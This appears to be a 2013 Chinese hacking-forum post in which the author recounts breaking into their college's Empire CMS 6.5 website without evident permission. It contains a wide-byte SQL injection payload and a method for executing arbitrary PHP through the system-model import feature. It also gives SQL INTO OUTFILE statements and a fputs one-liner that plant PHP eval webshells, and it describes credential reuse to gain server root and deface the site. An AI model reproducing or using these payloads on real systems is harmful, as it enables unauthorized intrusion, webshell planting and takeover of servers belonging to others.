对母校官方网站的一次渗透检测经历

2013-05-11 12:17:58 77 3160
这篇文章也是我最近才写的,趁热就发表了出来,这篇文章是和我在“脚本安全监测”板块发表的“帝国CMS 7.0后台拿shell”
相关联的~!
相关链接:https://www.t00ls.net/thread-22770-1-1.html

不说废话了,上文章:

最近我又对学院进行了一次大规模的检测,原来才知道学院官网存在这么弱智的漏洞,首先来看看学院官网,开了N个页面,
都是纯静态的页面,基本上无从下手,也许跟我一样的菜鸟朋友会想到旁站与C段,好吧,我们来检测一下,御剑5.1检测无
果,C段检测也只存在一台同网段服务器,如图(1)(2)


图(1)


图(2)

显然旁注、C段这条路就没了,还是回到主站,我们学校只有一个主站,没有给二级学院分配二级域名,只是二级目录,所以
无法列出二级域名,这里我就不截图了,既然这样就只能利用各种扫描器硬着头皮上了,先判断对方是啥WEB服务器,随便在
域名后面输入一个不存在的文件名,于是立刻报错,如图(3)


图(3)

猥琐的爆出了服务器的基本信息,这不就是典型的LAMP服务器么,呵呵 ~!我还以为真的纯静态呢,原来是PHP网站,我立刻
对它来了兴趣,拿出wwwscan扫敏感目录,不一会儿就露出了马脚,如图(4)该懂的人都懂


图(4)

看到/e/admin、/d/、/hml/这不就是传说中的帝国CMS的标志性目录么?帝国CMS曾经号称最安全、最稳定的内容管理系统,管
理员这也想到了?打开后台来看看,不是标准的帝国CMS的后台登陆页面,不知道那屌丝管理从哪找的,如图(5)


图(5)

先不管这么多了,果断google了一下历史上关于帝国CMS的漏洞,发现了一个较为普遍的漏洞,就是留言板宽字节注入漏洞,直奔
留言本页面:http://www.XXXXXX.com/e/tool/gbook/?bid=1,显示不存在,如图(6)


图(6)

将bid=1换成bid=2、bid=3、bid=4、bid=5、bid=6分别是书记信箱、校长信箱、意见反馈、校刊、校报留言、校友留言。呵呵~!
没想到挺丰富的,捡了一个拿来测试了一下,在姓名处输入:“123縗\”(都说过了是宽字节),联系邮箱:,1,1,1,(select concat(us
ername,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*,其他的随便填,果不出我所
料网站跳转到/e/enews/index.php,一片空白,啥东西都木有,帝国CMS的老漏洞都无法利用,又木有0day,于是就只好想办法进后
台呗,试了N多常用的管理员用户名及口令,都无法登陆后台。
      对了,从wwwscan的扫描结果看,不是说扫出了robots.txt蜘蛛程序么,或许这个蜘蛛程序能给我们带来更多的信息,网站通过robots
协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取,虽然说是那么说,但是很多CMS都把后台管理地址,敏感目录放在里面,如果管理员
不修改的话是很危险的,打开一看,如图(7)


图(7)

呵呵~!看样子好像有学长大人们留下的脚印哦(邪恶的分界线下的是偶进去后写的!)我访问了那几个页面,发现网站存在列目录的漏洞,
如图(8)(9)


图(8)


图(9)

发现了可爱的config.php文件,可惜看不到源码滴,不过打开http://www.XXXXX.com/e/update发现了帝国CMS的升级程序,如图(10)


图(10)

点击“开始升级”后出现不能正常升级的现象。于是目测该帝国CMS是6.5的。
没办法,只好祭出神器Netsparker和WVS,Netsparker这家伙相当于著名WVS的一款WEB综合漏洞的扫描器,集成了包括各种SQL注入、
CSRF、XSS等在内的常用漏洞,有时使用它能达到事半功倍的效果,二话不说,果断在本机上跑起来,由于WVS那强大的爬虫功能,可以检测
出网站管理员隐藏了的敏感目录,并且列出网站所有目录的结构,如图(11)


图(11)

看了看两个扫描器的目录结构感觉没啥利用价值,不过找出的洞洞就很雷人了,不说了,直接上图:


图(12)

Netsparker扫出的洞洞分析出原来网站还存在如此雷人的漏洞,还不明白的话,看图吧:


图(13)

或许是因为管理员需要编辑config.php时害怕修改失误而造成不必要的损失,所以对config.php做了备份,但是还是被我们爬出来了,管理员还
是如此的小心呀,可惜想多了是要产生问题的,数据库的基本信息都被我们知道得一清二楚了,最恶心的是管理员直接用root连接数据库,如果root
没被降权的话,如果上次那个phpmyadmin没被删的话,这个网站就基本上搞定了,哎~!可惜没有那么多如果,还是继续收集信息吧。
既然要进后台,我们为什么不收集收集管理员的信息呢,于是我开始分析学院的一些管理分支结构,对于这多部门需要管理,我想不可能只有一个管理
员,应该有很多的(高校网站一般都这样)后来分析才发现学院网站大体分为4大部分,第一部分是新闻部,专门处理各二级学院,各管理机构的新闻
信息,发布到首页;第二部分是各个二级学院,每个学院都有个网站管理账号,但是我肯定权限很低,就只能对自己学院板块的修改;第三部分就是学
院办公室,这个权限应该就很高了,可以说是仅次于最高权限吧;第四部分就是各个管理机构吧(如教务处、行政办公室、人力资源、招生就业、后勤
部门等),为了方便管理这些部门设置的密码强度应该不大,于是开始猜测这些账号的密码,这些账号信息可以到各个新闻页面的“发布者”那一栏获得,
如图(14)


图(14)

好吧~!学校网站的这一秘密被我观察出来了,马上去猜解权限偏高的管理用户,在猜解院办的用户密码时,一个弱口令(就不告诉你)就直接进去了,
如图(15)


图(15)

哈~!人品大爆发了,一个多功能的帝国CMS华丽后台展现在了我的眼前,如图(16)


图(16)

呵呵~!看了看服务器的基本信息,跟我预想的一样,这个用户果然是高权限用户,除了“用户操作、模板、插件”那几栏没权限外其他的功能都可以用,
大家都知道PHP网站后台跟ASP不同的是PHP后台的功能强大,不像ASP后台那么简陋,但是拿shell的方法随之变得很灵活,看了看系统设置,居然还
可以执行SQL语句,前面对config.php的读取不是root权限么,呵呵~!如果知道网站的根目录的话就淫荡了~!如图(17)


图(17)
哈哈~!权限够大吧~!但是我们不知道网站根目录的绝对路径一切白搭,我想看看有木有能够直接上马的地方,这个问题还困扰了我半天的时间,这帝国
肯定会检查上传后缀的,比如我们找到一个图片上传点,直接上PHP后缀的马会提示禁止上传php文件,对方是APACHE无法利用解析漏洞,如图(18)


图(18)

后来利用APACHE的常见的解析漏洞也无果,网上一个基友给我说可以利用模板管理秒拿shell(乌云已公布),可惜没权限编辑模板呀,哎看来只能硬着头
皮去找网站绝对路径了,再通过执行SQL语句向根目录里写入shell,后来想到了系统管理里的数据表与系统模型,可以导入新的系统模型并写入任意表里面,
于是果断“系统设置”——“数据表与系统模型”——“管理数据表”——“管理系统模型”——“导入系统模型”,如图(19)


图(19)

在数据表名处写上任意后缀,选择导入的文件,这里我选用了一个PHP大马文件,并命名为dama.php.mod上传,眼前出现了令人震惊的画面,如图(20)


图(20)

居然就这样执行了大马代码,擦,原来这么神奇,输入密码后杯具才发生了,居然无法进入大马,如图(21)


图(21)

后来我想到了一句话,上了个一句话上去,抓包查看绝对路径,就只抓到了e/admin/ecmsmod.php这个文件(猜测就算这个文件惹的祸),所以我们的马其
实没有真的上传到服务器中,而是在导入到数据库里前被执行了一次,后来发现就算命名为dama.bat.mod都被当做PHP来执行了,原来在这里可以执行任意
PHP代码,而且不会去识别后缀名,这样一来我们就有突破口了,就利用这个漏洞来查找网站绝对路径,在一个文本文件里写入”<?php phpinfo(); ?>”命名
为info.php.mod来探测一下,导入,果然出现了,如图(22)


图(22)

但是还没等我反应过来,它就返回了前面的页面,呵呵,这哪能难倒我等小菜,再次上传info.php.mod,在执行的一瞬间,查看源代码可以扑捉到phpinfo的html
源代码,于是就可以查看ecmsmod.php执行phpinfo后的源码,即使页面跳转了,也不会影响我们,果断搜索DOCUMENT_ROOT,成功获取网站根目录的绝对路
径,如图(23)


图(23)

绝对路径为/usr/wwwroot/php-proj,呵呵 ,真不好弄呀,下面我想大家都懂了吧,既然数据库是ROOT权限,直接往根目录里写一句话呗,在“系统设置”——“备
份与恢复数据”——“执行SQL语句”,写入以下代码:
create table temp (cmd text not null);
insert into temp (cmd) values('<?php eval($_POST[a])?>');
select cmd from temp into outfile '/usr/wwwroot/php-proj/z.php';
drop table if exists temp;
执行成功,连接一句话,OK,如图(24)


图(24)

后来测试出一种更简单的方法,直接在“导入系统模型“处,导入1.php.mod,其内容为<?fputs(fopen("x.php","w"),"<?eval(\$_POST[x]);?>")?>,即可在/e/admin
的目录下(与ecmsmod.php同目录)生成x.php,内容为<?eval(\$_POST[x]);?>")?>的一句话木马。
看了看权限,权限很大,网站根目录都是777的权限,可以修改主页,可以访问系统根目录,看了看帝国CMS的版本,跟我猜测的一样是6.5,如图(25)


图(25)

看了下服务器的IP地址,如图(26)


图(26)

看到了服务器的内网IP,果断没有和我处于同一子网下,在学校里混了这么久,第一次发现学校网站的内网IP,服务器不能上外网,所以反弹shell提权就没办法了,于是想到
校园里有很多服务器,都是可以互相访问的,手里也没有内网服务器,本来打算就此放弃的,突然想到了刚开始我们使用netsparker扫描出的一个config.php~文件,并且从
中获得了数据库root的密码,我想服务器密码会不会是那个密码呢,果断一试,居然进去了,如图(27)


图(27)

人品又一次大爆发了,这个管理员真该被开除,系统密码和MYSQL密码居然一样,管理员就一懒人,既然ROOT上去了,就达到了我的最终目的,挂个TXT装B走人。


总结
①        这次成功的渗透源于我对网站信息的细心收集。
②        对内部各管理部门的了解。
③        对帝国CMS安全隐患的了解。
④        管理员的懒惰,认为服务器在内网放着就高枕无忧了。
⑤        各个管理部门对安全的忽视。
⑥        勇于探索。

求金币~!

关于作者

评论77次

要评论?请先  登录  或  注册